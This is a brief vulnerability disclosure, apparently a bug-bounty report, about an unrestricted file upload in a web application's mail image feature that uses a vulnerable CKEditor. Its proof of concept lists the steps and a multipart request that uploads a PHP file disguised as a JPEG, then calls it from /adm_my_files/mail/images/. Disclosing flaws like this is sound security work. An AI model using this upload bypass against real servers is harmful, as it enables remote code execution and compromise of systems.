Description

When attaching image on mail feature, the upload using ckeditor vulnerable version that lead to RCE.

Proof of Concept

1. Go to messages,
2. Write email
3. add image
4. Upload the php file.
5. access the uploaded php file in /adm_my_files/mail/images/

// PoC.js

Content-Disposition: form-data; name=“upload”; filename=“aaa.test.php”
Content-Type: image/jpeg

<?php
phpinfo();
?>